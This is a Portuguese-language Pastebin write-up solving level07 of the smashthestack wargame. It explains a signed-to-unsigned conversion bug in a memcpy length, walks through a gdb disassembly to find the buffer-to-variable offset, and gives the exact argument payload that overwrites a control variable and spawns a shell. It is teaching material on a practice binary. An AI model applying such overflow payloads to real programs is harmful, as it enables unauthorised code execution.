Advertisement
daemonio

Solução wargame level07 smashthestack by daemonio

Dec 6th, 2013
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.71 KB | None | 0 0
  1. Solução do wargame visto em
  2.  
  3. http://daemoniolabs.wordpress.com/2012/09/02/conversao-de-tipos-em-c-parte-i/
  4.  
  5. by daemonio @ Fri Dec 6 13:03:56 BRST 2013
  6.  
  7. A solução consiste em:
  8.  
  9. (1) bypasar o primeiro if
  10. (2) overflow em buf e
  11. (3) colocar o valor 0x574f4c46 na var. count
  12.  
  13. (1) os valores do parâmetro que bypassam o if são:
  14. valores positivos: argv[1] = 0..9
  15. Gvalores negativos: argv[1] = -MIN_INT..-1
  16.  
  17. Se colocarmos um valor entre 0 e 10 não será possível fazer um overflow
  18. em buf. só nos sobra os valores negativos.
  19.  
  20. Qual o sentido disso? Usando um valor negativo fazemos com que ele seja
  21. interpretado como unsigned na chamada de memcpy(). Esse valor pode ser
  22. tao grande quando desejarmos para assim fazermos oveflow em buf.
  23.  
  24. obs:Esse é o clássico problema de conversão de sinal para sem sinal.
  25.  
  26. Qual valor usar? O count é nossa variável de controle e ela é usada
  27. no último parâmetro de memcpy. Quando o seu valor é multiplicado por
  28. sizeof(int) -- que é 4 -- os bits de count serão deslocados 2 casas
  29. para à esquerda.
  30.  
  31. Se entrarmos com o valor:
  32.  
  33. -1073741819
  34.  
  35. esse número em binário é:
  36.  
  37. 11000000000000000000000000000101
  38.  
  39. ao ser multiplicado por quatro, esse valor deixará de ser negativo
  40. e passará a ser positivo.
  41.  
  42. 00000000000000000000000000010100
  43.  
  44. o novo valor é 20.
  45.  
  46. Com isso o memcpy irá fazer uma leitura de 16 bytes de argv[2] e jogá-lo em buf. Como
  47. buf tem capacidade de 10 bytes, então temos um overflow.
  48.  
  49. (2)
  50. Vamos supor que count está acima de buf na pilha. Com isso podemos alcançá-lo através
  51. do overflow e alterar seu valor.
  52.  
  53. O esquema seria:
  54.  
  55. [ count ]
  56. [ XX ]
  57. [ buf ]
  58.  
  59.  
  60. entre o início de buf e count estará os 10 bytes de buf mais um padding que o compilador faz.
  61. Não é possível prever qual será o valor desse padding pois isso parece depender
  62. da versão do compilador e também do processo de compilação (ex: se usou otimização
  63. ou não)
  64.  
  65. Para encontrar o tamanho do espaço de memória entre buf e count devemos usar o gcc.
  66.  
  67. daemonio@fedora:~$ gdb bla
  68. Reading symbols from /home/daemonio/bla...(no debugging symbols found)...done.
  69. (gdb) disas main
  70. Dump of assembler code for function main:
  71. 0x08048490 <+0>: push %ebp
  72. 0x08048491 <+1>: mov %esp,%ebp
  73. 0x08048493 <+3>: and $0xfffffff0,%esp
  74. 0x08048496 <+6>: sub $0x40,%esp
  75. 0x08048499 <+9>: mov 0xc(%ebp),%eax
  76. 0x0804849c <+12>: add $0x4,%eax
  77. 0x0804849f <+15>: mov (%eax),%eax
  78. 0x080484a1 <+17>: mov %eax,(%esp)
  79. 0x080484a4 <+20>: call 0x8048380 <atoi@plt>
  80. 0x080484a9 <+25>: mov %eax,0x3c(%esp) ---------------> count = 0x3c + $esp
  81. 0x080484ad <+29>: cmpl $0x9,0x3c(%esp)
  82. 0x080484b2 <+34>: jle 0x80484bb <main+43>
  83. 0x080484b4 <+36>: mov $0x1,%eax
  84. 0x080484b9 <+41>: jmp 0x8048527 <main+151>
  85. 0x080484bb <+43>: mov 0x3c(%esp),%eax
  86. 0x080484bf <+47>: lea 0x0(,%eax,4),%edx
  87. 0x080484c6 <+54>: mov 0xc(%ebp),%eax
  88. 0x080484c9 <+57>: add $0x8,%eax
  89. 0x080484cc <+60>: mov (%eax),%eax
  90. 0x080484ce <+62>: mov %edx,0x8(%esp)
  91. 0x080484d2 <+66>: mov %eax,0x4(%esp)
  92. 0x080484d6 <+70>: lea 0x14(%esp),%eax ----------------> buf = 0x14 + $esp
  93. 0x080484da <+74>: mov %eax,(%esp)
  94. 0x080484dd <+77>: call 0x8048330 <memcpy@plt>
  95. 0x080484e2 <+82>: cmpl $0x574f4c46,0x3c(%esp)
  96. 0x080484ea <+90>: jne 0x8048516 <main+134>
  97. 0x080484ec <+92>: movl $0x80485c4,(%esp)
  98. 0x080484f3 <+99>: call 0x8048340 <puts@plt>
  99. 0x080484f8 <+104>: movl $0x0,0x8(%esp)
  100. 0x08048500 <+112>: movl $0x80485c9,0x4(%esp)
  101. 0x08048508 <+120>: movl $0x80485cc,(%esp)
  102. 0x0804850f <+127>: call 0x8048370 <execl@plt>
  103. 0x08048514 <+132>: jmp 0x8048522 <main+146>
  104. 0x08048516 <+134>: movl $0x80485d4,(%esp)
  105. 0x0804851d <+141>: call 0x8048340 <puts@plt>
  106. 0x08048522 <+146>: mov $0x0,%eax
  107. 0x08048527 <+151>: leave
  108. 0x08048528 <+152>: ret
  109.  
  110. Para encontrar os endereços:
  111. O count recebe o retorno de atoi(), que é feito no registrador %eax, com isso sabemos
  112. onde está o count. Sabemos que o buf é o primeiro parâmetro do memcpy então o cálculo de
  113. seu endereço deve estar próximo a chamada de memcpy. Encontramos esse endereço na
  114. instrução leal, que mandará o endereço de buf para %eax e o mov seguinte colocará esse
  115. endereço como primeiro parâmetro.
  116.  
  117. Vemos que:
  118.  
  119. count está em 0x3c+$esp
  120. buf está em 0x14+$esp
  121.  
  122. buf está abaixo de count (0x3c > 0x14) então podemos sobrescrever count através do
  123. overflow.
  124.  
  125. obs: isso não é regra, é possível que count esteja abaixo de buf. Se isso acontecer com
  126. você tente compilar o bla.c sem otimização (opção -O0 no gcc). Lembrando que no wargame
  127. você só tem acesso ao binário e lá o count está acima de buf.
  128.  
  129. O espaço entre buf e count é:
  130.  
  131. $ dcalc 0x3c-0x14
  132. 40(10) : 40
  133. 40(2) : 0y101000
  134. 40(8) : 0o50
  135. 40(16) : 0x28
  136.  
  137. Então devemos fazer um overflow de no mínimo 44 bytes. Os primeiros 40 bytes preenchem os espaço
  138. entre buf e count e os 4 restantes será o valor de count.
  139.  
  140. Agora vamos achar o valor de argv[1]:
  141.  
  142. $ dcalc '44/4'
  143. 11(10) : 11
  144. 11(2) : 0y1011
  145. 11(8) : 0o13
  146. 11(16) : 0xB
  147.  
  148. basta ativarmos o bit mais significativo para bypassarmos o if:
  149.  
  150. 10000000000000000000000000001011
  151.  
  152. esse número é:
  153.  
  154. -2147483637
  155.  
  156. Obs: para encontrar esse número é só usar complemento de dois: inverte e some 1
  157. $ dcalc 0y01111111111111111111111111110101
  158. 2147483637(10) : 2147483637
  159. 2147483637(2) : 0y1111111111111111111111111110101
  160. 2147483637(8) : 0o17777777765
  161. 2147483637(16) : 0x7FFFFFF5
  162.  
  163. Bem, tudo que precisamos agora é executar o programa com o seguinte comando:
  164.  
  165. $ ./programa -2147483637 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX''AAAA'
  166.  
  167. essa linha colocará o valor 0x41414141 em count.
  168.  
  169. $ gdb -q programa
  170. (gdb) disas
  171. ....
  172. 0x080484e2 <+82>: cmpl $0x574f4c46,0x3c(%esp)
  173. ....
  174. (gdb) b *0x080484e2
  175. (gdb) r -2147483637 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX''AAAA'
  176. (gdb) x/x 0x3c+$esp
  177. 0xbffff4ec: 0x41414141
  178.  
  179. O valor de count é 0x41414141. Mas não queremos esse, queremos o 0x574f4c46.
  180.  
  181. (gdb) r -2147483637 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'$'\x46\x4c\x4f\x57'
  182. The program being debugged has been started already.
  183. Start it from the beginning? (y or n) y
  184. Starting program: /home/daemonio/bla -2147483637 ...
  185.  
  186. Breakpoint 1, 0x080484e2 in main ()
  187. (gdb) c
  188. Continuing.
  189. WIN!
  190. process 20832 is executing new program: /usr/bin/bash
  191. sh-4.2$
  192. sh-4.2$ id
  193. Detaching after fork from child process 20835.
  194. uid=1000(daemonio) gid=1000(daemonio) groups=1000(daemonio),3(sys),7(lp)
  195.  
  196. Pronto!! Conseguimos a shell.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement